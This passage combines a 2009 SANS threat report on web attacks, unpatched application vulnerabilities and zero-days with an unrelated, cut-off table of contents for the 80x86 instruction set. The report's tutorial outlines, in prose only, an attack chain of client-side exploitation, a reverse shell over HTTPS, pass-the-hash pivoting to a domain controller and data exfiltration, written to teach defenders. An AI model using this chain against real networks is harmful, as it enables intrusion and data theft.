how resources should be allocated to ensure that the most probable and
damaging attacks are dealt with first. Exacerbating the problem is that most
organizations do not have an Internet-wide view of the attacks.

This report uses current data - covering March 2009 to August 2009 - from
appliances and software in thousands of targeted organizations to provide a
reliable portrait of the attacks being launched and the vulnerabilities they
exploit. The report's purpose is to document existing and emerging threats
that pose significant risk to networks and the critical information that is
generated, processed, transmitted, and stored on those networks. This report
summarizes vulnerability and attack trends, focusing on those threats that
have the greatest potential to negatively impact your network and your
business. It identifies key elements that enable these threats and associates
these key elements with security controls that can mitigate your risk.

The report's target audience is major organizations that want to ensure their
defenses are up-to-date and are tuned to respond to today's newest attacks and
to the most pressing vulnerabilities. Data on actual attacks comes from
intrusion prevention appliances deployed by TippingPoint that protect more
than 6,000 companies and government agencies. Data on vulnerabilities that
remain unpatched comes from appliances and software deployed by Qualys that
monitor vulnerabilities and configuration errors in more than 9,000,000
systems, scanned more than 100,000,000 times so far in 2009. The patterns in
the data are vetted by the senior staff at the Internet Storm Center and by
the faculty of the SANS Institute responsible for SANS programs in hacker
exploits, penetration testing, and forensics. In other words, these findings
reflect a fusion of data and experience never before brought together.

The report also includes a pictorial description/tutorial on how some of the
most damaging current attacks actually work. One of the most important
findings in cybersecurity over the past several years has been the
understanding most often asserted by White House officials that "offense must
inform defense." Only people who understand how attacks are carried out can be
expected to be effective defenders. The tutorial shows what actually happened
in a very damaging attack and is excerpted from Ed Skoudis' _SANS Hacker
Exploits and Incident Handling_ class. It is included to boost defenders'
understanding of current attack techniques.

The report was compiled by Rohit Dhamankar, Mike Dausin, Marc Eisenbarth and
James King of TippingPoint with assistance from Wolfgang Kandek of Qualys,
Johannes Ullrich of the Internet Storm Center, and Ed Skoudis and Rob Lee of
the SANS Institute faculty.

top^

### Vulnerability Exploitation Trends

#### Application Vulnerabilities Exceed OS Vulnerabilities

During the last few years, the number of vulnerabilities being discovered in
applications is far greater than the number of vulnerabilities discovered in
operating systems. As a result, more exploitation attempts are recorded on
application programs. The most "popular" applications for exploitation tend to
change over time since the rationale for targeting a particular application
often depends on factors like prevalence or the inability to effectively
patch. Due to the current trend of converting trusted web sites into malicious
servers, browsers and client-side applications that can be invoked by browsers
seem to be consistently targeted.

<img src='img/Temp2_7117.jpg' alt='Figure 1' />

Figure 1: Number of Vulnerabilities in Network, OS and Applications

#### Web Application Attacks

There appear to be two main avenues for exploiting and compromising web
servers: brute force password guessing attacks and web application attacks.
Microsoft SQL, FTP, and SSH servers are popular targets for password guessing
attacks because of the access that is gained if a valid username/password pair
is identified. SQL Injection, Cross-site Scripting and PHP File Include
attacks continue to be the three most popular techniques used for compromising
web sites. Automated tools, designed to target custom web application
vulnerabilities, make it easy to discover and infect several thousand web
sites.

#### Windows: Conficker/Downadup

Attacks on Microsoft Windows operating systems were dominated by Conficker/
Downadup worm variants. For the past six months, over 90% of the attacks
recorded for Microsoft targeted the buffer overflow vulnerability described in
the Microsoft Security Bulletin MS08-067. Although in much smaller proportion,
Sasser and Blaster, the infamous worms from 2003 and 2004, continue to infect
many networks.

<img src='img/Temp2_7116.jpg' alt='Figure 2' />

Figure 2: Attacks on Critical Microsoft Vulnerabilities \(last 6 months\)

<img src='img/Temp2_7103.jpg' alt='Figure 3' />

Figure 3: Attacks on Critical Microsoft Vulnerabilities \(last 6 months\)

#### Apple: QuickTime and Six More

Apple has released patches for many vulnerabilities in QuickTime over the past
year. QuickTime vulnerabilities account for most of the attacks that are being
launched against Apple software. Note that QuickTime runs on both Mac and
Windows Operating Systems. The following vulnerabilities should be patched for
any QuickTime installations: CVE-2009-0007, CVE-2009-0003, CVE-2009-0957

<img src='img/Temp2_7119.jpg' alt='Figure 4' />

Figure 4: Attacks on Critical Apple Vulnerabilities \(last 6 months\)

top^

### Origin and Destination Analysis for Four Key Attacks

Over the past six months, we have seen some very interesting trends when
comparing the country where various attacks originate to the country of the
attack destination. In order to show these results, we have characterized and
presented the data in relation to the most prevalent attack categories. The
analysis performed for this report identified these attack categories as high-
risk threats to most if not all networks, and as such, should be at the
forefront of security practitioners' minds. These categories are Server-Side
HTTP attacks, Client-Side HTTP attacks, PHP Remote File Include, Cross-site
Scripting attacks, and finally SQL Injection attacks. As you might expect,
there is some overlap in these categories, with the latter three being subsets
of the first two categories. However, the trends we see in separating this
data is worth pointing out.

The SQL Injection attacks that compose this category include "SQL Injection
using SELECT SQL Statement", "SQL Injection Evasion using String Functions",
and "SQL Injection using Boolean Identity". The most prominent "PHP Remote
File Include attack" is one that looks for a very small HTTP request that
includes a link to another website as a parameter that contains a very
specific evasion technique used by a number of attacks to increase the
reliability of their attacks. Also of note is a very specific attack against
the "Zeroboard PHP" application, the only single application that made the top
attacks. The final type of attack included in these statistics is one of the
more popular "HTTP Connect Tunnel" attacks, which remains a staple in the
Server-Side HTTP category. The HTTP connect tunnels are used for sending spam
emails via mis-configured HTTP servers.

Looking at the breakdown by country we see that the United States is by far
the major attack target for the Server-Side HTTP attack category \(Figure 5\).

<img src='img/Temp2_7114.jpg' alt='Figure 5' />

Figure 5: Server-Side HTTP Attacks by Destination Country \(last 6 months\)

For years, attack targets in the United States have presented greater value
propositions for attackers, so this statistic really comes as no surprise.

An interesting spike in Server-Side HTTP attacks occurred in July 2009. This
was entirely due to SQL Injection attacks using the SELECT command. Upon
looking at the data, we saw a massive campaign by a range of IP addresses
located at a very large Internet Server Provider \(ISP\). In this case, there
were a number of machines located at a single collocation site that may have
all been compromised with the same vulnerability due to the machines being at
the same patch level. In addition, a number of gambling sites took part in
this attack which peaked after hours on July Fourth, a major holiday in the
United States.

<img src='img/Temp2_7110.jpg' alt='Figure 6' />

Figure 6: Server-Side HTTP Attacks \(last 6 months\)

Finally let's turn to the source of these HTTP Server-Side Attacks \(Figure
7\).

<img src='img/Temp2_7115.jpg' alt='Figure 7' />

Figure 7: Server-Side HTTP Attacks by Source Country \(last 6 months\)

Here we see the United States as by far the largest origin, which is a pattern
that has continued for some time. In many cases we believe these to be
compromised machines that are then being used for further nefarious purposes.
The next four offenders on the HTTP Server-Side attacking countries list are
Thailand, Taiwan, China, and the Republic of Korea. They also show up in other
portions of this report, so this graph will be a useful reference in comparing
some of the other attack categories and their relative magnitude.

The last six months have seen a lot of activity with SQL injection attacks.
Some typical patterns emerge with the United States being both the top source
of and destination for SQL Injection events.

SQL Injection on the internet can more or less be divided into two sub-
categories: Legitimate SQL Injection and Malicious SQL Injection. Many web
applications on the Internet still use "SQL Injection" for their normal
functionality. It should be noted that this is only a difference in intent.
The web applications that legitimately use SQL Injection are guaranteed to be
vulnerable to the tools and techniques used by attackers to perform Malicious
SQL Injections. The servers that house these applications may have a higher
compromise rate not only because they are known to be vulnerable, but also
because they need to distinguish between legitimate and malicious injects to
identify attacks.

<img src='img/Temp2_7107.jpg' alt='Figure 8' />

Figure 8: SQL Injection Attacks by Destination Country \(last 6 months\)

Looking at the magnitude of these attacks broken down by month \(Figure 9\),
we see the large-scale SQL Injection campaign pointed out in the Server-Side
HTTP Attack section.

A very large spike in SQL Injection attacks in July was caused mostly by an
online advertiser who distributed code to many affiliates using SQL injection
as functionality. The application was quickly pulled, resulting in a large
drop in events for the month of August.

<img src='img/Temp2_7122.jpg' alt='Figure 9' />

Figure 9: SQL Injection Attacks \(last 6 months\)

The source distribution of many of these attacks is much more diverse than the
destination. China is now the single largest source outside of the United
States. Again the overwhelming destination for these events is in the United
States. \(Figure 10\).

<img src='img/Temp2_7111.jpg' alt='Figure 10' />

Figure 10: SQL Injection Attacks by Source Country \(last 6 months\)

In conclusion, we cannot overstate the importance of protecting DMZ-based web
applications from SQL Injection attacks. Increasingly, the ultimate objective
of attackers is the acquisition of sensitive data. While the media may
consistently report attacker targets as being credit cards and social security
numbers, that is more due to the popular understanding of the marketability of
this data. They are not the only valuable data types that can be compromised.
Since SQL Injection attacks offer such easy access to data, it should be
assumed that any valuable data stored in a database accessed by a web server
is being targeted.

Although "PHP File Include" attacks have been popular, we have seen a notable
decline in the overall number of attacks that have taken place. With the
exception of a major attacks originating from Thailand in April, the number of
PHP File Include attacks in August is less than half the March/May average.

There are many ways to protect against these attacks. Apache configuration,
input sanitization, and network security equipment are all very good at
deterring these attacks, so it seems likely that the drop in total attacks is
at least partly due to a positive response by application developers, system
administrators, and security professionals. However, due to the extreme ease
with which these attacks are carried out, and the enormous benefit of a
successful attack \(arbitrary PHP code is executed.\), attacks such as these
are likely to remain popular for some time.

<img src='img/Temp2_7124.jpg' alt='Figure 11' />

Figure 11: PHP Remote File Include Attacks \(last 6 months\)

Let us look at the sources of "PHP Remote File Include" attacks. A major
attack campaign was launched out of Thailand in April that caused Thailand to
show up at number 1 in this list.

<img src='img/Temp2_7118.jpg' alt='Figure 12' />

Figure 12: PHP Remote File Include Attacks by Source Country \(last 6 months\)

Cross Site Scripting \(XSS\) is one of the most prevalent bugs in today's web
applications. Unfortunately, developers often fall in the trap of introducing
XSS bugs while creating custom code that connects all of the diverse web
technologies that are so prevalent in today's Web 2.0 world. Another very
common "use" of XSS is by various advertisers' analytic systems. For example,
an advertiser's banner might be embedded in a web page which is set up to
reflect some JavaScript off of the advertiser's HTTP server for tracking
purposes. However, in this case, there is little risk because the site in
question \(usually\) has full control over his/her page, so this request to
the advertiser is not generally malicious. It is the "reflection" attacks,
along with attacks that leverage flaws in form data handling, that make up the
vast majority of XSS attacks that we have seen in the last six months.

<img src='img/Temp2_7104.jpg' alt='Figure 13' />

Figure 13: XSS Attacks by Source Country \(last 6 months\)

Attacks sourced from the United States have been on a steady decline month-
over-month. The Republic of Korea has seen a 50% reduction in the last 30
days. These two events however have been offset by a sudden 20% increase in
the last 30 days in attacks from Australia. The other three major players,
namely, Hong Kong, China and Taiwan have remained stable over the past three
month periods in this category.

top^

### Application Patching is Much Slower than Operating System Patching

Qualys scanners collect anonymized data of detected vulnerabilities to capture
the changing dynamics in the vulnerability assessment field. The data
documents changes such as the decline of server side vulnerabilities and the
corresponding rise of vulnerabilities on the client side, both in operating
system components and applications. A Top 30 ranking is used often to see if
major changes occur in the most frequent vulnerabilities found. Here is the
ranking for the first half of 2009 TH edited to remove irrelevant data points
such as 0-day vulnerabilities.

#### Description

  1. WordPad and Office Text Converters Remote Code Execution Vulnerability \(MS09-010\)
  2. Sun Java Multiple Vulnerabilities \(244988 and others\)
  3. Sun Java Web Start Multiple Vulnerabilities May Allow Elevation of Privileges\(238905\)
  4. Java Runtime Environment Virtual Machine May Allow Elevation of Privileges \(238967\)
  5. Adobe Acrobat and Adobe Reader Buffer Overflow \(APSA09-01\)
  6. Microsoft SMB Remote Code Execution Vulnerability \(MS09-001\)
  7. Sun Java Runtime Environment GIF Images Buffer Overflow Vulnerability
  8. Microsoft Excel Remote Code Execution Vulnerability \(MS09-009\)
  9. Adobe Flash Player Update Available to Address Security Vulnerabilities \(APSB09-01\)
  10. Sun Java JDK JRE Multiple Vulnerabilities \(254569\)
  11. Microsoft Windows Server Service Could Allow Remote Code Execution \(MS08-067\)
  12. Microsoft Office PowerPoint Could Allow Remote Code Execution \(MS09-017\)
  13. Microsoft XML Core Services Remote Code Execution Vulnerability \(MS08-069\)
  14. Microsoft Visual Basic Runtime Extended Files Remote Code Execution Vulnerability \(MS08-070\)
  15. Microsoft Excel Multiple Remote Code Execution Vulnerabilities \(MS08-074\)
  16. Vulnerabilities in Microsoft DirectShow Could Allow Remote Code Execution \(MS09-028\)
  17. Microsoft Word Multiple Remote Code Execution Vulnerabilities \(MS08-072\)
  18. Adobe Flash Player Multiple Vulnerabilities \(APSB07-20\)
  19. Adobe Flash Player Multiple Security Vulnerabilities \(APSB08-20\)
  20. Third Party CAPICOM.DLL Remote Code Execution Vulnerability
  21. Microsoft Windows Media Components Remote Code Execution Vulnerability \(MS08-076\)
  22. Adobe Flash Player Multiple Vulnerabilities \(APSB07-12\)
  23. Microsoft Office Remote Code Execution Vulnerability \(MS08-055\)
  24. Adobe Reader JavaScript Methods Memory Corruption Vulnerability \(APSA09-02 and APSB09-06\)
  25. Microsoft PowerPoint Could Allow Remote Code Execution \(MS08-051\)
  26. Processing Font Vulnerability in JRE May Allow Elevation of Privileges\(238666\)
  27. Microsoft Office Could Allow Remote Code Execution \(MS08-016\)
  28. Adobe Acrobat/Reader "util.printf\(\)" Buffer Overflow Vulnerability \(APSB08-19\)
  29. Adobe Acrobat and Adobe Reader Multiple Vulnerabilities \(APSB08-15\)
  30. Windows Schannel Security Package Could Allow Spoofing Vulnerability \(MS09-007\)

Table 1: Qualys Top 30 in H1 2009

Some of the vulnerabilities listed in the table get quickly addressed by IT
administrators TH vulnerabilities in the base operating system class, for
example, show a significant drop in even the first 15 days of their lifetime:

<img src='img/Temp2_7120.jpg' alt='Figure 14' />

Figure 14: Microsoft OS Vulnerabilities

But at least half of the vulnerabilities in the list, primarily
vulnerabilities found in applications, receive less attention and get patched
on a much slower timeline. Some of these applications, such as Microsoft
Office and Adobe Reader are very widely installed and so expose the many
systems they run on to long lived threats. The following graphs plot the
number of vulnerabilities detected for Microsoft Office and Adobe Reader
normalized to the maximum number of vulnerabilities detected in the timeframe.
Periodic drops in detection rates occur during the weekends when scanning
focuses on servers rather than desktop machines and the detection rates of
vulnerabilities related to desktop software fall accordingly.

<img src='img/Temp2_7102.jpg' alt='Figure 15a' /> <img
src='img/Temp2_7121.jpg' alt='Figure 15b' />

Figure 15: Microsoft PowerPoint and Adobe Vulnerabilities Patching Cycles

Attackers have long picked up on this opportunity and have switched to
different types of attacks in order to take advantage of these
vulnerabilities, using social engineering techniques to lure end-users into
opening documents received by e-mail or by infecting websites with links to
documents that have attacks for these vulnerabilities embedded. These infected
documents are not only placed on popular web sites that have a large number of
visitors, but increasingly target the "long-tail", the thousands of
specialized websites that have smaller but very faithful audiences. By
identifying and exploiting vulnerabilities in the Content Management Systems
used by these sites, attackers can automate the infection process and reach
thousands of sites in a matter of hours. Attacks using PDF vulnerabilities
have seen a large increase in late 2008 and 2009 as it became clear to
attackers how easy it is to use this method of getting control over a machine.

Adobe Flash has similar problems with the applications of its updates TH there
are four Flash vulnerabilities in our Top 30 list that date back as far as
2007:

<img src='img/Temp2_7113.jpg' alt='Figure 16' />

Figure 16: Flash Vulnerabilities

Flash presents additional challenges: it does not have its automatic update
mechanism and one needs to patch Internet Explorer in a separate step from
other browsers. For users that have more than one browser installed, it is
quite easy to forget to completely close Flash vulnerabilities and continue to
be unwillingly vulnerable.

One of the other software families that is high on the Top 30 list is Java,
which is widely installed for running Java applets in the common browsers and
also increasingly for normal applications. It is quite slow in the patch
cycle, with actually increasing numbers of total vulnerabilities as the
introduction of new vulnerabilities outweighs the effect of patching. Java has
the additional problem that until recently new versions did not uninstall the
older code, but only pointed default execution paths to the new, fixed
version; attack code could be engineered to take advantage of the well-known
paths and continue to use older and vulnerable Java engines.

<img src='img/Temp2_7112.jpg' alt='Figure 17' />

Figure 17: Sun Java Vulnerabilities

top^

### Tutorial: Real Life HTTP Client-side Exploitation Example

This section illustrates an example of a real life attack conducted against an
organization that resulted in loss of critical data for the organization.

In this attack, Acme Widgets Corporation suffered a major breach from
attackers who were able to compromise their entire internal network
infrastructure using two of the most powerful and common attack vectors today:
Exploitation of client-side software and pass-the-hash attacks against Windows
machines.

#### Step 0: Attacker Places Content on Trusted Site

In Step 0, the attacker begins by placing content on a trusted third-party
website, such as a social networking, blogging, photo sharing, or video
sharing website, or any other web server that hosts content posted by public
users. The attacker's content includes exploitation code for unpatched client-
side software.

<img src='img/Temp2_7105.jpg' alt='Figure 18' />

#### Step 1: Client-Side Exploitation

In Step 1, a user on the internal Acme Widgets enterprise network surfs the
Internet from a Windows machine that is running an unpatched client-side
program, such as a media player \(e.g., Real Player, Windows Media Player,
iTunes, etc.\), document display program \(e.g., Acrobat Reader\), or a
component of an office suite \(e.g., Microsoft Word, Excel, Powerpoint,
etc.\). Upon receiving the attacker's content from the site, the victim user's
browser invokes the vulnerable client-side program passing it the attacker's
exploit code. This exploit code allows the attacker to install or execute
programs of the attacker's choosing on the victim machine, using the
privileges of the user who ran the browser. The attack is partially mitigated
because this victim user does not have administrator credentials on this
system. Still, the attacker can run programs with those limited user
privileges.

<img src='img/Temp2_7109.jpg' alt='Figure 19' />

#### Step 2: Establish Reverse Shell Backdoor Using HTTPS

In Step 2, the attacker's exploit code installs a reverse shell backdoor
program on the victim machine. This program gives the attacker command shell
access of the victim machine, communicating between this system and the
attacker using outbound HTTPS access from victim to attacker. The backdoor
traffic therefore appears to be regular encrypted outbound web traffic as far
as the enterprise firewall and network is concerned.

<img src='img/Temp2_7106.jpg' alt='Figure 20' />

#### Steps 3 & 4: Dump Hashes and Use Pass-the-Hash Attack to Pivot

In Step 3, the attacker uses shell access of the initial victim system to load
a local privilege escalation exploit program onto the victim machine. This
program allows the attacker to jump from the limited privilege user account to
full system privileges on this machine. Although vendors frequently release
patches to stop local privilege escalation attacks, many organizations do not
deploy such patches quickly, because such enterprises tend to focus
exclusively on patching remotely exploitable flaws. The attacker now dumps the
password hashes for all accounts on this local machine, including a local
administrator account on the system.

<img src='img/Temp2_7123.jpg' alt='Figure 21' />

In Step 4, instead of cracking the local administrator password, the attacker
uses a Windows pass-the-hash program to authenticate to another Windows
machine on the enterprise internal network, a fully patched client system on
which this same victim user has full administrative privileges. Using NTLMv1
or NTLMv2, Windows machines authenticate network access for the Server Message
Block \(SMB\) protocol based on user hashes and not the passwords themselves,
allowing the attacker to get access to the file system or run programs on the
fully patched system with local administrator privileges. Using these
privileges, the attacker now dumps the password hashes for all local accounts
on this fully patched Windows machine.

#### Step 5: Pass the Hash to Compromise Domain Controller

In Step 5, the attacker uses a password hash from a local account on the fully
patched Windows client to access the domain controller system, again using a
pass-the-hash attack to gain shell access on the domain controller. Because
the password for the local administrator account is identical to the password
for a domain administrator account, the password hashes for the two accounts
are identical. Therefore, the attacker can access the domain controller with
full domain administrator privileges, giving the attacker complete control
over all other accounts and machines in that domain.

<img src='img/Temp2_7108.jpg' alt='Figure 22' />

#### Steps 6 and 7: Exfiltration

In Step 6, with full domain administrator privileges, the attacker now
compromises a server machine that stores secrets for the organization. In Step
7, the attacker exfiltrates this sensitive information, consisting of over 200
Megabytes of data. The attacker pushes this data out to the Internet from the
server, again using HTTPS to encrypt the information, minimizing the chance of
it being detected.

top^

### Zero-Day Vulnerability Trends

A zero-day vulnerability occurs when a flaw in software code is discovered and
code exploiting the flaw appears before a fix or patch is available. Once a
working exploit of the vulnerability has been released into the wild, users of
the affected software will continue to be compromised until a software patch
is available or some form of mitigation is taken by the user.

The "File Format Vulnerabilities" continue to be the first choice for
attackers to conduct zero-day and targeted attacks. Most of the attacks
continue to target Adobe PDF, Flash Player and Microsoft Office Suite
\(PowerPoint, Excel and Word\) software. Multiple publicly available "fuzzing"
frameworks make it easier to find these flaws. The vulnerabilities are often
found in 3rd party add-ons to these popular and wide-spread software suites,
making the patching process more complex and increasing their potential value
to attackers.

The notable zero-day vulnerabilities during past 6 months were:

  * Adobe Acrobat, Reader, and Flash Player Remote Code Execution Vulnerability \(CVE-2009-1862\)
  * Microsoft Office Web Components ActiveX Control Code Execution Vulnerability \(CVE-2009-1136\)
  * Microsoft Active Template Library Header Data Remote Code Execution Vulnerability \(CVE-2008-0015\)
  * Microsoft DirectX DirectShow QuickTime Video Remote Code Execution Vulnerability \(CVE-2009-1537\)
  * Adobe Reader Remote Code Execution Vulnerability \(CVE-2009-1493\)
  * Microsoft PowerPoint Remote Code Execution Vulnerability \(CVE-2009-0556\)

The ease of finding zero-day vulnerabilities is a direct result of an overall
increase in the number of people having skills to discover vulnerabilities
world-wide. This is evidenced by the fact that TippingPoint DVLabs often
receives the same vulnerabilities from multiple sources.

For example, MS08-031 \(Microsoft Internet Explorer DOM Object Heap Overflow
Vulnerability\) was discovered independently by three researchers. The first
researcher submitted remote IE 6/7 critical vulnerability on Oct 22, 2007. A
second independent researcher submitted the same vulnerability on April 23,
2008. A third independent researcher submitted the same vulnerability on May
19, 2008. All three submissions outlined different approaches of auditing and
finding the same vulnerability.

The implication of increasing duplicate discoveries is fairly alarming, in
that the main mitigation for vulnerabilities of this type is patching, which
is an invalid strategy for protecting against zero-day exploits. There is a
heightened risk from cyber criminals, who can discover zero-day
vulnerabilities and exploit them for profit. Add to this that software vendors
have not necessarily lowered their average time for patching vulnerabilities
reported to them, and that TippingPoint is aware of a number of
vulnerabilities that were reported to vendors two years ago and are still
awaiting a patch.

http://www.zerodayinitiative.com/advisories/upcoming/

This makes zero-day exploits in client-side applications one of the most
significant threats to your network, and requires that you put in place
additional information security measures and controls to complement your
vulnerability assessment and remediation activities.

top^

### Best Practices in Mitigation and Control of The Top Risks

A few weeks ago, the Center for Strategic and International Studies published
an updated version of the Twenty Critical Controls for Effective Cyber
Defense.

http://csis.org/files/publication/Twenty\_Critical\_Controls\_for\_Effective\_Cyber\_Defense\_CAG.pdf

These controls reflect the consensus of many of the nation's top cyber
defenders and attackers on which specific controls must be implemented first
to mitigate known cyber threats.

One of the most valuable uses of this report is to help organizations
deploying the Twenty Critical Security Controls to be certain that no critical
new attacks have been found that would force substantial changes in the Twenty
Controls and at the same time to help people who are implementing the Twenty
Critical Security Controls to focus their attention on the elements of the
controls that need to be completed most immediately.

The Key Elements of these attacks and associated Controls:

  * User applications have vulnerabilities that can be exploited remotely,
    * Controls 2 \(Inventory of Software\), 3 \(Secure Configurations\), and 10 \(Vulnerability Assessment and Remediation\) can ensure that vulnerable software is accounted for, identified for defensive planning, and remediated in a timely manner. Control 5 \(Boundary Defenses\) can provide some prevention/detection capability when attacks are launched.
  * There is an increasing number of zero-days in these types of applications,
    * Control 12 \(Malware Defenses\) is the most effective at mitigating many of these attacks because it can ensure that malware entering the network is effectively contained. Controls 2, 3, and 10 have minimal impact on zero-day exploits and Control 5 can provide some prevention/detection capabilities against zero-days as well as known exploits.
  * Successful exploitation grants the attacker the same privileges on the network as the user and/or host that is compromised,
    * Control 5 \(Boundary Defenses\) can ensure that compromised host systems \(portable and static\) can be contained. Controls 8 \(Controlled Use of Administrative Privileges\) and 9 \(Controlled Access\) limit what access the attacker has inside the enterprise once they have successfully exploited a user application.
  * The attacker is masquerading as a legitimate user but is often performing actions that are not typical for that user.
    * Controls 6 \(Audit Logs\) and 11 \(Account Monitoring and Control\) can help identify potentially malicious or suspicious behavior and Control 18 \(Incident Response Capability\) can assist in both detection and recovery from a compromise.

#### Critical Controls - As Applied to HTTP Server Threats

As discussed previously, web application vulnerabilities and server-side HTTP
threats pose a serious threat not only to the web servers you control, but
also the servers that your users visit in day-to-day activities. Trends have
indicated that SQL injection attacks are rising rapidly. SQL injection attacks
are only valid if an application is written in such a way as to allow them;
vulnerability is not a matter of configuration or \(usually\) access control.

The Key Elements of these attacks and associated Controls:

  * Web applications have vulnerabilities that can be easily discovered and exploited remotely include the following:
    * Control 7 \(Application Software Security\) is perhaps the most critical control regarding these types of attacks. Application developers should ensure that all input received from remote sources is sanitized of data meaningful to backend database systems. Control 5 \(Boundary Defenses\) can ensure that the appropriate layered protections are in place to prevent/detect attacks aimed at your web servers. Controls 2 \(Inventory of Software\), 3 \(Secure Configurations\), and 10 \(Vulnerability Assessment and Remediation\) can ensure that vulnerable applications are accounted for, identified for defensive planning, and remediated in a timely manner.
  * Successful exploitation grants the attacker the ability to put malicious code on the server and attempt to compromise all clients that browse that server.
    * Control 6 \(Audit Logs\) can assist in identifying when someone has compromised your web server. Control 18 \(Incident Response Capability\) can help mitigate the impact of, and assist in recovery from, attacks against vulnerable applications.

Upcoming Computer Security Training Events

Free Resources for Securing Your Network

# Intel Instruction Set

**Created:**| _5/13/2009 7:44:56 PM_  
---|---  
**Updated:**| _5/13/2009 7:45:28 PM_  
**Author:**| __  
**Tags:**| _asm intel x86_  
  

**80x86 instruction set**

 _**I have started to update this site which will cover all new processors. I
have also changed the mirroring policy. If you have found anywhere the mirror
of this site, please send me an URL. Thanks.**_

This document contains general information about the Intel 80x86 family
architecture and complete \(I hope\) instruction set of this processors up to
80486. I rewrote the file intel.doc from the PC Games Programmers Encyclopedia
1.0 to a html format. You can find  _PCGPE_ at
ftp://teeri.oulu.fi/pub/msdos/programming/gpe.

_Discaimer_

     No warranty is provided nor implied with this document. Use all informations at your own risk. 
**_Table of Contents_**

  1. Registers
  2. Instruction Clock Cycle Calculation
  3. Task State Calculation
  4. FLAGS - Intel 8086 Family Flags Register
  5. MSW \- Machine Status Word \(286+ only\)
* * *
  6. AAA \- Ascii Adjust for Addition
  7. AAD \- Ascii Adjust for Division
  8. AAM \- Ascii Adjust for Multiplication
  9. AAS \- Ascii Adjust for Subtraction
  10. ADC \- Add With Carry
  11. ADD \- Arithmetic Addition
  12. AND \- Logical And
  13. ARPL \- Adjusted Requested Privilege Level of Selector \(286+ PM\)
  14. BOUND \- Array Index Bound Check \(80188+\)
  15. BSF \- Bit Scan Forward \(386+\)
  16. BSR \- Bit Scan Reverse \(386+\)
  17. BSWAP \- Byte Swap \(486+\)
  18. BT \- Bit Test \(386+\)
  19. BTC \- Bit Test with Compliment \(386+
  20. BTR \- Bit Test with Reset \(386+\)
  21. BTS \- Bit Test and Set \(386+\)
  22. CALL \- Procedure Call
  23. CBW \- Convert Byte to Word
  24. CDQ \- Convert Double to Quad \(386+\)
  25. CLC \- Clear Carry
  26. CLD \- Clear Direction Flag
  27. CLI \- Clear Interrupt Flag \(disable\)
  28. CLTS \- Clear Task Switched Flag \(286+ privileged\).
  29. CMC \- Complement Carry Flag
  30. CMP \- Compare
  31. CMPS \- Compare String \(Byte, Word or Doubleword\)
  32. CMPXCHG \- Compare and Exchange
  33. CWD \- Convert Word to Doubleword
  34. CWDE \- Convert Word to Extended Doubleword \(386+\)
  35. DAA \- Decimal Adjust for Addition
  36. DAS \- Decimal Adjust for Subtraction
  37. DEC \- Decrement.
  38. DIV \- Divide
  39. ENTER \- Make Stack Frame \(80188+\)
  40. ESC \- Escape
  41. HLT \- Halt CPU
  42. IDIV \- Signed Integer Division
  43. IMUL \- Signed Multiply
  44. IN \- Input Byte or Word From Port
  45. INC \- Increment
  46. INS \- Input String from Port \(80188+\)
  47. INT \- Interrupt
  48. INTO \- Interrupt on Overflow
  49. INVD \- Invalidate Cache \(486+\)
  50. INVLPG \- Invalidate Translation Look-Aside Buffer Entry \(486+\)
  51. IRET/IRETD \- Interrupt Return.
  52. Jxx \- Jump Instructions Table.
  53. JCXZ/JECXZ \- Jump if Register \(E\)CX is Zero
  54. JMP \- Unconditional Jump
  55. LAHF \- Load Register AH From Flags
  56. LAR \- Load Access Rights \(286+ protected\)
  57. LDS \- Load Pointer Using DS
  58. LEA \- Load Effective Address
  59. LEAVE \- Restore Stack for Procedure Exit \(80188+\)
  60. LES \- Load Pointer Using ES
  61. LFS \- Load Pointer Using FS \(386+\)
  62. LGDT \- Load Global Descriptor Table \(286+ privileged\)
  63. LIDT \- Load Interrupt Descriptor Table \(286+ privileged\)
  64. LGS \- Load Pointer Using GS \(386+\)
  65. LLDT \- Load Local Descriptor Table \(286+ privileged\)
  66. LMSW \- Load Machine Status Word \(286+ privileged\)
  67. LOCK \- Lock Bus
  68. LODS \- Load String \(Byte, Word or Double\)
  69. LOOP \- Decrement CX and Loop if CX Not Zero
  70. LOOPE/LOOPZ \- Loop While Equal / Loop While Zero
  71. LOOPNZ/LOOPNE \- Loop While Not Zero / Loop While Not Equal
  72. LSL \- Load Segment Limit \(286+ protected\)
  73. LSS \- Load Pointer Using SS \(386+\)
  74. LTR \- Load Task Register \(286+ privileged\)
  75. MOV \- Move Byte or Word
  76. MOVS \- Move String \(Byte or Word\)
  77. MOVSX \- Move with Sign Extend \(386+\)
  78. MOVZX \- Move with Zero Extend \(386+\)
  79. MUL \- Unsigned Multiply
  80. NEG \- Two's Complement Negation
  81. NOP \- No Operation \(90h\)
  82. NOT \- One's Compliment Negation \(Logical NOT\)
  83. OR \- Inclusive Logical OR
  84. OUT \- Output Data to Port.
  85. OUTS \- Output String to Port \(80188+\)
  86. POP \- Pop Word off Stack
  87. POPA/POPAD \- Pop All Registers onto Stack \(80188+\)
  88. POPF/POPFD \- Pop Flags off Stack
  89. PUSH \- Push Word onto Stack
  90. PUSHA/PUSHAD \- Push All Registers onto Stack \(80188+\)
  91. PUSHF/PUSHFD \- Push Flags onto Stack
  92. RCL \- Rotate Through Carry Left.
  93. RCR \- Rotate Through Carry Right
  94. REP \- Repeat String Operation
  95. REPE/REPZ \- Repeat Equal / Repeat Zero
  96. REPNE/REPNZ \- Repeat Not Equal / Repeat Not Zero
  97. RET/RETF \- Return From Procedure
  98. ROL \- Rotate Left.
  99. ROR \- Rotate Right
  100. SAHF \- Store AH Register into FLAGS
  101. SAL \- Shift Arithmetic Left / Shift Logical Left
  102. SAR \- Shift Arithmetic Right
  103. SBB \- Subtract with Borrow/Carry
  104. SCAS \- Scan String \(Byte, Word or Doubleword\)
  105. SETAE/SETNB \- Set if Above or Equal / Set if Not Below \(386+\)
  106. SETB/SETNAE \- Set if Below / Set if Not Above or Equal \(386+\)
  107. SETBE/SETNA \- Set if Below or Equal / Set if Not Above \(386+\)
  108. SETE/SETZ \- Set if Equal / Set if Zero \(386+\)
  109. SETNE/SETNZ \- Set if Not Equal / Set if Not Zero \(386+\)
  110. SETL/SETNGE \- Set if Less / Set if Not Greater or Equal \(386+\)
  111. SETGE/SETNL \- Set if Greater or Equal / Set if Not Less \(386+\)
  112. SETLE/SETNG \- Set if Less or Equal / Set if Not greater or Equal \(386+\)
  113. SETG/SETNLE \- Set if Greater / Set if Not Less or Equal \(386+\)
  114. SETS \- Set if Signed \(386+\)
  115. SETNS \- Set if Not Signed \(386+\)
  116. SETC \- Set if Carry \(386+\)
  117. SETNC \- Set if Not Carry \(386+\)
